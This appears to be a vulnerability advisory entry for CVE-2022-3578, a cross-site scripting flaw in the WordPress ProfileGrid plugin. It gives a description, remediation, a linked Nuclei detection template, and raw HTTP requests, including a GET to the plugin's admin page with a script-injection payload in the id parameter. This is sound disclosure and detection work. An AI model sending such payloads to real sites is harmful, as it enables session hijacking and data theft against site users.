| Title | WordPress ProfileGrid <5.1.1 - Cross-Site Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update WordPress ProfileGrid to version 5.1.1 or later to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.06392 |
| CVE ID | CVE-2022-3578 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wp-plugin wordpress wpscan wp xss profilegrid authenticated metagauss vuln |
WordPress ProfileGrid plugin prior to 5.1.1 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=AsPP5P&pwd=M1Itz8&wp-submit=Log+In
GET /wp-admin/admin.php?page=pm_add_group&id="><script>alert%28document.domain%29<%2Fscript> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3578.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-3578.pcap
N/AN/A